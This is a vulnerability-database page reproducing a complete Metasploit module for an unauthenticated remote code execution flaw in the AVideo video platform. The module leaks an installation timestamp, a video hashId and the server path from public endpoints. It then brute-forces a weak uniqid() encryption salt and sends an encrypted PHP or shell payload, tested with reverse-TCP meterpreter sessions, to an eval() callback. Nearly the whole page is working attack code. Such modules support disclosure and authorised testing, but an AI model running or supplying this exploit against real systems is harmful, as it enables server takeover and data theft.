Lucene search
K

📄 AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution

🗓️ 16 Jan 2026 00:00:00Reported by Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 148 Views

Unauthenticated remote code execution in AVideo via notify.ffmpeg.json.php using salt discovery and data leaks.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-34442
17 Dec 202519:48
attackerkb
ATTACKERKB
CVE-2025-34441
17 Dec 202519:48
attackerkb
ATTACKERKB
CVE-2025-34433
19 Dec 202515:37
attackerkb
Circl
CVE-2025-34433
19 Dec 202517:01
circl
Circl
CVE-2025-34441
15 Jan 202623:54
circl
Circl
CVE-2025-34442
15 Jan 202623:54
circl
CNNVD
AVideo 安全漏洞
17 Dec 202500:00
cnnvd
CNNVD
AVideo 安全漏洞
17 Dec 202500:00
cnnvd
CNNVD
AVideo 安全漏洞
19 Dec 202500:00
cnnvd
CVE
CVE-2025-34433
19 Dec 202515:37
cve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'openssl'
    require 'time'
    require 'tzinfo'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution (RCE) vulnerability
              in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
              cryptographic weakness in the salt generation mechanism combined with information
              disclosure vulnerabilities that allow an attacker to discover the encryption salt
              through offline bruteforce.
    
              Root Cause:
              During installation, AVideo generates an encryption salt using PHP's uniqid() function,
              which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
              string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
              microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).
    
              Exploit Chain:
              1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
              2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
              3. Leak system root path from posterPortraitPath in video API responses
              4. Leak server timezones from /objects/getTimes.json.php
              5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
              6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()
    
              The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
              which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
              it retries with the old uniqid() salt. This fallback makes the RCE exploitable.
    
              Affected Versions:
              AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
              encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
              eval($callback) (introduced January 7, 2025).
    
              Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
              the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.
    
              This vulnerability does not require authentication and can be exploited remotely by any
              attacker who can access the AVideo instance.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
              ['CVE', '2025-34441'], # Information Disclosure: hashId leak
              ['CVE', '2025-34442'], # Information Disclosure: System Path leak
              ['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
              ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
              ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-12-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
          OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
          OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
        ])
      end
    
      def check
        gather_info
        return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists
    
        salt_provided = !datastore['SALT'].to_s.empty?
        unless salt_provided
          return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
          return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
        end
    
        return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
        return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version
    
        CheckCode::Appears('Prerequisites met (version unknown)')
      end
    
      def exploit
        gather_info
        fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt
    
        callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        vprint_status('Executing payload...')
        res = send_rce_payload(callback_payload)
    
        return if session_created?
    
        if res&.code == 200
          vprint_status("Payload executed (response: #{res.code})")
          return
        end
    
        error_msg = parse_error_from_response(res)
        fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
      end
    
      def parse_error_from_response(res)
        return nil unless res&.body
    
        data = JSON.parse(res.body)
        return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
        return 'Unknown error' if data['error'] == true
    
        nil
      rescue JSON::ParserError
        nil
      end
    
      def gather_info
        return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info
    
        vprint_status('Gathering target information...')
        detect_version
        @notify_exists = check_notify_endpoint
    
        @timestamp_accessible = check_endpoint('objects/categories.json.php')
        @timestamps ||= get_timestamps if @timestamp_accessible
    
        # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
        @video_info ||= get_video_info
        @hashid_accessible = !@video_info.nil?
      end
    
      def detect_version
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
        return unless res&.code == 200
    
        version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
        return unless version_match && version_match[1]
    
        @version = Rex::Version.new(version_match[1])
        vprint_status("Detected AVideo version: #{@version}")
      end
    
      def check_endpoint(path)
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
        res&.code == 200
      end
    
      def check_notify_endpoint
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
        return false unless res
    
        res.code == 403 && res.body.to_s.include?('Empty notifyCode')
      end
    
      # Fetch server timezones to test multiple uniqid calculations with different offsets
      def get_timezones
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
          'method' => 'GET'
        })
        return [nil, nil] unless res&.code == 200
    
        data = JSON.parse(res.body)
        [data['_serverSystemTimezone'], data['_serverDBTimezone']]
      rescue StandardError
        [nil, nil]
      end
    
      # If the default category created at install was deleted, exploit will fail (timestamp not guessable)
      def get_timestamps
        vprint_status('Leaking installation timestamp...')
        system_tz, db_tz = get_timezones
        vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")
    
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
        return [] unless res&.code == 200
    
        # Try JSON parsing first, fallback to regex if JSON is invalid
        timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
        return timestamps if timestamps.any?
    
        parse_timestamps_from_regex(res.body, system_tz, db_tz)
      end
    
      def parse_timestamps_from_json(body, system_tz, db_tz)
        data = JSON.parse(body)
        rows = data['rows']
        return [] unless rows.is_a?(Array) && !rows.empty?
    
        first_category = rows.min_by { |c| c['id'].to_i }
        created = first_category['created']
        timestamps = datetime_to_timestamps(created, system_tz, db_tz)
        vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
        timestamps
      rescue JSON::ParserError
        []
      end
    
      def parse_timestamps_from_regex(body, system_tz, db_tz)
        matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
        return [] if matches.empty?
    
        created = matches.min_by { |m| m[0].to_i }[1]
        timestamps = datetime_to_timestamps(created, system_tz, db_tz)
        vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
        timestamps
      end
    
      def datetime_to_timestamps(dt_str, system_tz, db_tz)
        dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
        dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
        timezones = [system_tz, db_tz, 'UTC'].compact.uniq
    
        timezones.map do |tz|
          tz_obj = TZInfo::Timezone.get(tz)
          format('%x', tz_obj.local_to_utc(dt_local).to_i)
        end.uniq
      rescue StandardError => e
        vprint_error("Error converting datetime: #{e}")
        []
      end
    
      def get_system_root
        return @system_root if @system_root && !@system_root.empty?
    
        # Try to get from cached endpoint responses first
        @system_root = extract_system_root_from_cache
        if @system_root
          vprint_good("System root leaked: #{@system_root}")
          return @system_root
        end
    
        # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
        @system_root = datastore['SYSTEM_ROOT']
        vprint_status("Using fallback system root: #{@system_root}")
        @system_root
      end
    
      def extract_system_root_from_cache
        pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/
    
        # Collect all cached response bodies to scan
        bodies = (@endpoint_cache || {}).values
    
        bodies.each do |body|
          body.scan(pattern).each do |match|
            path = match[0].gsub('\\/', '/')
            root = find_root_in_path(path)
            return root if root
          end
        end
        nil
      end
    
      def find_root_in_path(path)
        %w[/view/ /videos/ /plugin/].each do |subdir|
          return path.split(subdir)[0] + '/' if path.include?(subdir)
        end
        nil
      end
    
      # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
      # Note: videosAndroid.json.php can take a long time to load, this is expected
      # hashId won't be accessible if no public videos exist on the instance
      def get_video_info
        vprint_status('Leaking video hashId...')
        @endpoint_cache ||= {}
    
        endpoints = [
          normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
          normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
          normalize_uri(target_uri.path, 'view', 'info.php')
        ]
    
        endpoints.each do |endpoint|
          info = extract_video_info_from_endpoint(endpoint)
          return info if info
        rescue StandardError => e
          vprint_error("Error checking #{endpoint}: #{e}")
        end
        nil
      end
    
      def extract_video_info_from_endpoint(endpoint)
        # Use cached response if available
        body = @endpoint_cache[endpoint]
        unless body
          res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
          return nil unless res&.code == 200
    
          body = res.body
          @endpoint_cache[endpoint] = body
        end
    
        data = JSON.parse(body)
        videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
        return nil if videos.empty?
    
        video = videos.find { |v| v['id'] && v['hashId'] }
        return nil unless video
    
        hash_id = video['hashId']
        cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
        vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
        { id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
      end
    
      def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
        key = Digest::MD5.hexdigest(salt)[0, 16]
        plaintext = video_id.to_s(32)
        cipher = OpenSSL::Cipher.new(cipher_type)
        cipher.encrypt
        cipher.key = key
        cipher.iv = key if cipher_type == 'AES-128-CBC'
    
        Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
      end
    
      def encrypt_payload(payload)
        key = Digest::SHA256.hexdigest(@salt)[0, 32]
        iv = Digest::SHA256.hexdigest(@system_root)[0, 16]
    
        cipher = OpenSSL::Cipher.new('AES-256-CBC')
        cipher.encrypt
        cipher.key = key
        cipher.iv = iv
    
        Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
      end
    
      def test_salt_candidate(candidate, video)
        compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
      end
    
      def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
        return unless (micro % 100_000).zero? && micro > 0
    
        current = (ts_idx * 0x100000) + micro
        pct = (100.0 * current / total).round(1)
        formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
        print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
      end
    
      def bruteforce_salt(timestamps, video)
        vprint_status("Bruteforcing salt (#{video[:cipher]})...")
        start_time = Time.now
        total = timestamps.length * 0x100000
    
        timestamps.each_with_index do |ts_hex, ts_idx|
          (0...0x100000).each do |micro|
            candidate = format('%s%05x', ts_hex, micro)
            if test_salt_candidate(candidate, video)
              print("\r")
              elapsed = (Time.now - start_time).round(2)
              vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
              return candidate
            end
            print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
          end
        end
    
        print("\r")
        nil
      end
    
      def discover_salt
        @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
        if @salt
          vprint_good("Using provided salt: #{@salt}")
          return get_system_root
        end
    
        get_system_root
        @timestamps ||= get_timestamps
        @video_info ||= get_video_info
        return false if @timestamps.empty? || !@video_info
    
        @salt = bruteforce_salt(@timestamps, @video_info)
        [email protected]?
      end
    
      def send_rce_payload(callback_payload)
        notify_code = encrypt_payload('valid')
        callback = encrypt_payload(callback_payload)
    
        filename = Rex::Text.rand_text_alphanumeric(8..16)
        ext = %w[mp4 avi mkv mov webm].sample
        full_filename = "#{filename}.#{ext}"
    
        notify_data = {
          'avideoPath' => full_filename,
          'avideoRelativePath' => full_filename,
          'avideoFilename' => filename
        }
        notify = JSON.generate(notify_data.to_a.shuffle.to_h)
    
        params = {
          'notifyCode' => notify_code,
          'notify' => notify,
          'callback' => callback
        }
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
          'method' => 'GET',
          'vars_get' => params.to_a.shuffle.to_h
        })
        res
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation